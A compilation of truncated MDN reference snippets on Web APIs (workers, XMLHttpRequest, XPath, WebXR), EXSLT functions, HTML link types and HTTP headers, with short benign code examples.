...}; example the following code snippet shows an onerror handler set inside a worker: self.onerror = function() { console.log('there is an error inside your worker!'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onerror' in that specification.
WorkerGlobalScope.onlanguagechange - Web APIs
the onlanguagechange property of the workerglobalscope interface represents an eventhandler to be called when the languagechange event occurs and bubbles through the worker.
...}; example the following code snippet shows an onlanguagechange handler set inside a worker: self.onlanguagechange = function() { console.log('your preferred language settings have been changed'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onlanguagechange' in that specification.
WorkerGlobalScope.onoffline - Web APIs
the onoffline property of the workerglobalscope interface represents an eventhandler to be called when the offline event occurs and bubbles through the worker.
...}; example the following code snippet shows an onoffline handler set inside a worker: self.onoffline = function() { console.log('your worker is now offline'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onoffline' in that specification.
WorkerGlobalScope.ononline - Web APIs
the ononline property of the workerglobalscope interface represents an eventhandler to be called when the online event occurs and bubbles through the worker.
...}; example the following code snippet shows an ononline handler set inside a worker: self.ononline = function() { console.log('your worker is now online'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.ononline' in that specification.
WorkerGlobalScope.performance - Web APIs
example if you called console.log(performance); inside a worker (which would basically be the equivalent of self.console.log(self.performance);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workerperformance object written to the console — something like the following: workerperformance {now: function} __proto__: workerperformance constructor: function workerperformance() { [native code] } now: func...
... specifications specification status comment high resolution time level 2the definition of 'performance' in that specification.
WorkerNavigator.connection - Web APIs
syntax connectioninfo = self.navigator.connection specifications specification status comment network information apithe definition of 'navigator.connection' in that specification.
... draft initial specification ...
WorkerNavigator.permissions - Web APIs
the workernavigator.permissions read-only property returns a permissions object that can be used to query and update permission status of apis covered by the permissions api.
... examples self.navigator.permissions.query({name:'notifications'}).then(function(result) { if (result.state === 'granted') { shownotification(); } else if (result.state === 'prompt') { requestnotificationpermission() } }); specification specification status comment permissions working draft initial definition.
WritableStream.abort() - Web APIs
the abort() method of the writablestream interface aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... // abort the stream later on, when required writablestream.abort(); specifications specification status comment streamsthe definition of 'abort()' in that specification.
WritableStreamDefaultWriter.abort() - Web APIs
the abort() method of the writablestreamdefaultwriter interface aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment streamsthe definition of 'abort()' in that specification.
XDomainRequest.onload - Web APIs
you can find the entire server response in the xdomainrequest.responsetext property.
... syntax xdr.onload = funcref; example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.send() - Web APIs
sends an xdomainrequest which has previously been opened calling xdomainrequest.open().
... example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XMLDocument.async - Web APIs
WebAPIXMLDocumentasync
document.async can be set to indicate whether a xmldocument.load() call should be an asynchronous or synchronous request.
... true is the default value, indicating that documents should be loaded asynchronously.
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
can be used with document.async to indicate whether the request is synchronous or asynchronous (the default).
...(to test this functionality, create the files on your local disk or on a webserver rather than loading the load.html file from the lxr-generated page, which will serve the text.xml file as html.) specifications old w3c working draft of the dom level 3 load & save module ...
init() - Web APIs
warning: this method must not be called from javascript.
...this may be null, but if it is, the request cannot create a document.
XMLHttpRequest.abort() - Web APIs
return value undefined example this example begins loading content from the mdn home page, then due to some condition, aborts the transfer by calling abort().
... var xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest: error event - Web APIs
bubbles no cancelable no interface progressevent event handler property onerror examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = docum...
...', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: load event - Web APIs
bubbles no cancelable no interface progressevent event handler property onload examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbut...
...', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadend event - Web APIs
bubbles no cancelable no interface progressevent event handler property onloadend examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { w...
...', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadstart event - Web APIs
bubbles no cancelable no interface progressevent event handler property onloadstart examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsucce...
...', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.sendAsBinary() - Web APIs
you can create the binary string using the filereader method readasbinarystring().
...however, on google chrome, when you try to send an arraybuffer, the following warning message will appear: arraybuffer is deprecated in xmlhttprequest.send().
XMLHttpRequest.statusText - Web APIs
unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found".
...httprequest(); console.log('0 unsent', xhr.statustext); xhr.open('get', '/server', true); console.log('1 opened', xhr.statustext); xhr.onprogress = function () { console.log('3 loading', xhr.statustext); }; xhr.onload = function () { console.log('4 done', xhr.statustext); }; xhr.send(null); /** * outputs the following: * * 0 unsent * 1 opened * 3 loading ok * 4 done ok */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestResponseType - Web APIs
deprecated values moz-chunked-arraybuffer a firefox-only value which instructs xmlhttprequest to deliver arraybuffer objects containing chunks of the incoming data.
... specifications specification status comment xmlhttprequest unknown live standard, latest version ...
XPathNSResolver - Web APIs
the xpathevaluator interface can construct an implementation of xpathnsresolver from a node, or the interface may be implemented by any application.
... specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver' in that specification.
XPathResult.booleanValue - Web APIs
exceptions type_err in case xpathresult.resulttype is not boolean_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <p>text is 'xpath example': <output></output></p> javascript var xpath = "//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").textcontent = result.booleanvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specification.
XPathResult.invalidIteratorState - Web APIs
syntax var iteratorstate = result.invaliditeratorstate; return value a boolean value indicating whether the iterator has become invalid.
..."invalid" : "valid"; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.invaliditeratorstate' in that specification.
XPathResult.iterateNext() - Web APIs
exceptions type_err in case xpathresult.resulttype is not unordered_node_iterator_type or ordered_node_iterator_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.iteratenext()' in that specification.
XPathResult.numberValue - Web APIs
exceptions type_err in case xpathresult.resulttype is not number_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").textcontent = result.numbervalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification.
XPathResult.snapshotLength - Web APIs
exceptions type_err in case xpathresult.resulttype is not unordered_node_snapshot_type or ordered_node_snapshot_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <div>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification.
XPathResult.stringValue - Web APIs
exceptions type_err in case xpathresult.resulttype is not string_type, an xpathexception of type type_err is thrown.
... html <div>xpath example</div> <div>text content of the &lt;div&gt; above: <output></output></div> javascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").textcontent = result.stringvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.stringvalue' in that specification.
XRInputSource.profiles - Web APIs
each string: has no spaces; instead, words are separated by hyphen ("-") characters if the platform makes it available, the usb vendor and product id may be provided but cannot be relied upon does not uniquely identify a specific device; rather, it identifies a configuration that the product is capable of using does not provide information about handedness of the device, if applicable the webxr input profiles registry is used by device developers and browser developers to attempt to ensure that a given device will report the same profile strings regardless of wh...
... specifications specification status comment webxr device apithe definition of 'xrinputsource.profiles' in that specification.
XRInputSourceEventInit - Web APIs
the xrinputsourceeventinit dictionary is used when calling the xrinputsourceevent() constructor to provide configuration options for the newly-created xrinputsourceevent object to take on.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit' in that specification.
XRInputSourcesChangeEvent.session - Web APIs
syntax let inputssession = xrinputsourceschangeevent.session; value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.session' in that specification.
XRInputSourcesChangeEvent - Web APIs
constructor xrinputsourceschangeevent() creates and returns a new xrinputsourceschangeevent object configured as indicated by the given xrinputsourceschangeeventinit object.
... xrsession.addeventlistener("inputsourceschange", oninputsourceschange); function oninputsourceschange(event) { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { loadcontrollermesh(input); } } } you can also add a handler for inputsourceschange events by setting the oninputsourceschange event handler: xrsession.oninputsourceschange = oninputsourceschange; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent' in that specification.
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are newly available for use.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.added' in that specification.
XRInputSourcesChangeEventInit.session - Web APIs
urceschangeeventinit("inputsourceschange", inputsourceseventinit); myinputsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an xrsession indicating the webxr session to which the input source list change applies.
... specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.session' in that specification.
XRReferenceSpaceEvent.referenceSpace - Web APIs
syntax let refspace = xrreferencespaceevent.referencespace; value an xrreferencespace indicating the source of the event.
... examples specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.referencespace' in that specification.
XRSession: end event - Web APIs
an end event is fired at an xrsession object when the webxr session has ended, either because the web application has chosen to stop the session, or because the user agent terminated the session.
... bubbles no cancelable no interface xrsessionevent event handler xrsession.onend example to be informed when a webxr session comes to an end, you can add a handler to your xrsession instance using addeventlistener(), like this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apithe definition of 'end event' in that specification.
XRSession: inputsourceschange event - Web APIs
bubbles yes cancelable no interface xrinputsourceschangeevent event handler property oninputsourceschange the event object contains lists of the newly-added and/or removed input devices in its added and removed properties.
... examples specifications specification status comment webxr device apithe definition of 'inputsourceschange event' in that specification.
XRSession.onselect - Web APIs
this typically represents the pressing of a button or trigger, a hand gesture, or a spoken command.
... xrsession.onselect = event => { let source = event.inputsource; if (source.handedness == user.handedness) { if (source.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose); } } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onselect' in that specification.
XRSession.onvisibilitychange - Web APIs
note: the visibility state of xr session affects the frame loop so callbacks registered via xrsession.requestanimationframe() might not be called.
...} example xrsession.onvisibilitychange = function(event) { console.log("the visibility the xr session changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibilitychange' in that specification.
XRSessionEventInit.session - Web APIs
syntax let sessioneventinit = { session: xrsession }; mysessionevent = new xrsessionevent(type, sessioneventinit); mysessionevent = new xrsessionevent(type, { session: xrsession }); value an xrsession object indicating which webxr session the event is referring to.
... specifications specification status comment webxr device apithe definition of 'xrsessioneventinit.session' in that specification.
XRSessionEventInit - Web APIs
the xrsessioneventinit dictionary is used when calling the xrsessionevent() constructor to provide the new event's initial values.
... examples <tbd> specifications specification status comment webxr device apithe definition of 'xrsessioneventinit' in that specification.
XRViewport.x - Web APIs
WebAPIXRViewportx
the read-only xrviewport interface's x property indicates the offset from the left edge of the destination surface (typically a xrwebgllayer to the left edge of the viewport within the surface into which webxr content is to be rendered.
... specifications specification status comment webxr device apithe definition of 'xrviewport.x' in that specification.
XRWebGLLayer.framebufferWidth - Web APIs
you can get the height of the framebuffer using the framebufferheight property.
... let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferwidth; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferwidth' in that specification.
XRWebGLLayerInit.alpha - Web APIs
syntax let layerinit = { alpha: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean which can be set to true to request that the new webgl layer for rendering the webxr scene is to have an alpha channel.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.alpha' in that specification.
Browser Differences - Web APIs
browser differences netscape 7.x (all platforms) and internet explorer 6 (windows) support the w3c xslt 1.0 standard (http://www.w3.org/tr/xslt).
...netscape 6.x only partially supported xslt 1.0.
msRegionOverflow - Web APIs
note that the region's overflow property value can be used to control the visibility of the overflowing content.
...in particular, in this last case, that means the region may have received no content from the named flow (for example if the region is too small to accommodate any content).
msWriteProfilerMark - Web APIs
notes mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues.
... the bstrprofilermarkname property has a 32-character limit when called from script.
Using ARIA: Roles, states, and properties - Accessibility
aria defines semantics that can be applied to elements, with these divided into roles (defining a type of user interface element) and states and properties that are supported by a role.
... combobox grid (including row, gridcell, rowheader, columnheader roles) listbox (including option role) menu menubar radiogroup (see radio role) tablist (including tab and tabpanel roles) tree treegrid document structure roles application article cell columnheader definition directory document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator table term textbox toolbar tooltip landmark roles banner complementary contentinfo form main navigation region search live region roles alert log marquee status timer window roles ...
How to file ARIA-related bugs - Accessibility
tbd: add proper accessibility markup to table genre software where to file notes screen readers freedom scientific jaws jaws technical support form gw micro window eyes window-eyes comments, questions, and feedback (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft e...
... bugs view existing ms edge aria bugs mozilla firefox file firefox bugs use component: disability access apis opera file opera bugs use [aria] in the summary field js libraries dojo toolkit file dojo bug put accessibility in the component field yahoo user interface file yui bugs file against specific component in category combobox and include aria in summary field ...
exsl:node-set() - EXSLT
WebEXSLTexslnode-set
you can also use exsl:node-set() to turn strings into text nodes.
... specifications exslt - exsl:node-set ...
Common (exsl) - EXSLT
WebEXSLTexsl
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt common package provides basic functions that expand upon the capabilities of xslt.
...this lets you process the xml created within a variable to process it in multiple steps.exsl:object-type()exsl:object-type() returns a string that indicates the type of the specified object.
math:highest() - EXSLT
WebEXSLTmathhighest
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes math:highest() returns the node in the specified node-set with the highest value (where the highest value calculated using math:max()).
... specifications exslt - math:highest ...
math:lowest() - EXSLT
WebEXSLTmathlowest
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes math:lowest() returns the node in the specified node-set with the lowest value (where the lowest value calculated using math:min()).
... specifications exslt - math:lowest ...
regexp:replace() - EXSLT
WebEXSLTregexpreplace
i - case insensitive match if this flag is specified, the match is performed in a case insensitive fashion.
... specifications exslt - regexp:replace ...
regexp:test() - EXSLT
WebEXSLTregexptest
i case insensitive match if this flag is specified, the match is performed in a case insensitive fashion.
... specifications exslt - regexp:test ...
str:split() - EXSLT
WebEXSLTstrsplit
pattern the pattern indicating where to split the string.
... example str:split('book, phone, computer, chair', ', ') returns a node set like: <token>book</token> <token>phone</token> <token>computer</token> <token>chair</token> specifications exslt - str:split ...
touchstart - Event reference
two types of object can be the target of this event.
... element: touchstart document: touchstart bubbles yes cancelable yes interface touchevent event handler property ontouchstart specifications specification status touch events recommendation ...
The Web Open Font Format (WOFF) - Developer guides
WebGuideWOFF
using woff you can use the @font-face css property to use woff fonts for text in web content.
... specifications specification status comment woff file format 2.0 recommendation new compression algorithm woff file format 1.0 recommendation initial specification.
<frame> - HTML: Hypertext Markup Language
WebHTMLElementframe
<frame> is an html element which defines a particular area in which another html document can be displayed.
... using the <frame> element is not encouraged because of certain disadvantages such as performance problems and lack of accessibility for users with screen readers.
<frameset> - HTML: Hypertext Markup Language
WebHTMLElementframeset
note: because the use of frames is now discouraged in favor of using <iframe>, this element is not typically used by modern web sites.
... rows this attribute specifies the number and size of vertical spaces in a frameset.
theme-color - HTML: Hypertext Markup Language
WebHTMLElementmetanametheme-color
the theme-color value for the name attribute of the <meta> element indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface.
... specifications specification html living standardthe definition of 'theme-color' in that specification.
slot - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'slot attribute' in that specification.
... living standard domthe definition of 'slot attribute' in that specification.
x-ms-acceleratorkey - HTML: Hypertext Markup Language
x-ms-acceleratorkey exposes a notification in the accessibility tree, for screen readers and other assistive technologies, that an accelerator key exists for that element.
...this approach is more complicated, but does not override existing keyboard shortcuts provided by the user’s browser or operating system.
Link types: dns-prefetch - HTML: Hypertext Markup Language
the dns-prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing dns resolution for that origin.
... specifications specification status comment html living standardthe definition of 'dns-prefetch' in that specification.
Link types: manifest - HTML: Hypertext Markup Language
the manifest keyword for the rel attribute of the <link> element indicates that the target resource is a web app manifest.
... specifications specification status comment web app manifest working draft ...
Link types: noopener - HTML: Hypertext Markup Language
this is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (unless noreferrer is used as well).
... specifications specification status comment html living standardthe definition of 'noopener' in that specification.
Link types: preconnect - HTML: Hypertext Markup Language
the preconnect keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin.
... specifications specification status comment html living standardthe definition of 'preconnect' in that specification.
Link types: prefetch - HTML: Hypertext Markup Language
the prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource.
... specifications specification status comment html living standardthe definition of 'prefetch' in that specification.
Link types: preload - HTML: Hypertext Markup Language
the preload keyword for the rel attribute of the <link> element indicates the user is highly likely to require the target resource for the current navigation, and therefore the browser must preemptively fetch and cache the resource.
... specifications specification status comment html living standardthe definition of 'preload' in that specification.
Link types: prerender - HTML: Hypertext Markup Language
the prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen.
... specifications specification status comment html living standardthe definition of 'prerender' in that specification.
Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed - HTTP
if you have access to the server you can change your implementation to echo back an origin in the access-control-allow-origin header.
... you cannot send back a list of origins, because browsers only accept a value that is either a single origin or null ...
Reason: CORS request not HTTP - HTTP
this often occurs if the url specifies a local file, using a file:/// url.
... local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened.
Accept-Patch - HTTP
two common cases lead to this: a server receiving a patch request with an unsupported media type could reply with 415 unsupported media type and an accept-patch header referencing one or more supported media types.
... header type response header forbidden header name yes syntax accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json directives none examples accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json specifications specification title rfc 5789, section 3.1: accept-patch http patch ...
Accept-Ranges - HTTP
the value of this field indicates the unit that can be used to define a range.
... examples accept-ranges: bytes specifications specification title rfc 7233, section 2.3: accept-ranges hypertext transfer protocol (http/1.1): range requests ...
Access-Control-Allow-Methods - HTTP
* (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
... examples access-control-allow-methods: post, get, options access-control-allow-methods: * specifications specification status comment fetchthe definition of 'access-control-allow-methods' in that specification.
Content-Length - HTTP
the content-length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
... specifications specification title rfc 7230, section 3.3.2: content-length hypertext transfer protocol (http/1.1): message syntax and routing ...
Cross-Origin-Opener-Policy - HTTP
coop will process-isolate your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks.
... to check if cross-origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification html living standardthe definition of 'cross-origin-opener-policy header' in that specification.
Device-Memory - HTTP
syntax the amount of device ram can be used as a fingerprinting variable, so values for the header are intentionally coarse to reduce the potential for its misuse.
... accept-ch: device-memory accept-ch-lifetime: 86400 then on subsequent requests the client might send device-memory header back: device-memory: 1 specifications specification status comment device memory 1the definition of 'device-memory' in that specification.
Early-Data - HTTP
the early-data header is set by an intermediary to indicate that the request has been conveyed in tls early data, and also indicates that the intermediary understands the 425 (too early) status code.
... header type request header forbidden header name no syntax early-data: 1 examples get /resource http/1.0 host: example.com early-data: 1 specifications specification title rfc 8470, section 5.1: the early-data header field using early data in http ...
Expires - HTTP
WebHTTPHeadersExpires
if there is a cache-control header with the max-age or s-maxage directive in the response, the expires header is ignored.
... examples expires: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7234, section 5.3: expires hypertext transfer protocol (http/1.1): caching ...
Feature-Policy: document-domain - HTTP
when this policy is enabled, attempting to set document.domain will fail and cause a securityerror domexception to be be thrown.
... specifications specification status comment html living standardthe definition of 'document-domain' in that specification.
Feature-Policy: encrypted-media - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... encrypted media extensionsthe definition of 'feature policy integration' in that specification.
Feature-Policy: unsized-media - HTTP
this restriction solves "layout instability" problem caused by providing default dimensions for images whose size is not specified in advance so that image doesn't change size after loading.
... specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: usb - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... webusbthe definition of 'feature-policy integration' in that specification.
Feature-Policy: xr-spatial-tracking - HTTP
this policy controls whether navigator.xr.requestsession() can return xrsession that requires spatial tracking and whether user agent can indicate support for sessions supporting spatial tracking via navigator.xr.issessionsupported() and devicechange event on navigator.xr object.
... specifications specification status comment webxr device apithe definition of 'permissions policy' in that specification.
Link - HTTP
WebHTTPHeadersLink
it is semantically equivalent to the html <link> element.
... examples the uri (absolute or relative) must be enclosed between < and >: link: <https://example.com>; rel="preconnect" link: https://bad.example; rel="preconnect" specifying multiple links you can specify multiple links separated by commas, for example: link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect" specifications specification status comments rfc 8288, section 3: link serialisation in http headers ietf rfc rfc 5988, section 5: the link header field...
Origin - HTTP
WebHTTPHeadersOrigin
the origin request header indicates where a fetch originates from.
... examples origin: https://developer.mozilla.org specifications specification comment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification.
Sec-Fetch-Dest - HTTP
the sec-fetch-dest fetch metadata header indicates the request's destination, that is how the fetched data will be used.
...dest: track sec-fetch-dest: video sec-fetch-dest: worker sec-fetch-dest: xslt sec-fetch-dest: audioworklet sec-fetch-dest: audioworklet values audio audioworklet document embed empty font image manifest object paintworklet report script serviceworker sharedworker style track video worker xslt nested-document examples todo specifications specification title fetch metadata request headers the sec-fetch-dest http request header ...
Sec-Fetch-Mode - HTTP
the sec-fetch-mode fetch metadata header indicates the request's mode.
...header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-mode: cors sec-fetch-mode: navigate sec-fetch-mode: nested-navigate sec-fetch-mode: no-cors sec-fetch-mode: same-origin sec-fetch-mode: websocket values cors navigate nested-navigate no-cors same-origin websocket examples todo specifications specification title fetch metadata request headers the sec-fetch-mode http request header ...
Sec-Fetch-User - HTTP
the sec-fetch-user fetch metadata header indicates whether or not a navigation request was triggered by a user activation.
... examples todo specifications specification title fetch metadata request headers the sec-fetch-user http request header ...
Sec-WebSocket-Accept - HTTP
header type response header forbidden header name no syntax sec-websocket-accept: <hashed key> directives <hashed key> the server takes the value of the sec-websocket-key sent in the handshake request, appends 258eafa5-e914-47da-95ca-c5ab0dc85b11, takes sha-1 of the new value, and is then base64 encoded.
... examples sec-websocket-accept: s3pplmbitxaq9kygzzhzrbk+xoo= specification specification title rfc 6455, section 11.3.3: sec-websocket-accept the websocket protocol ...
Server - HTTP
WebHTTPHeadersServer
avoid overly-detailed server values, as they can reveal information that might make it (slightly) easier for attackers to exploit known security holes.
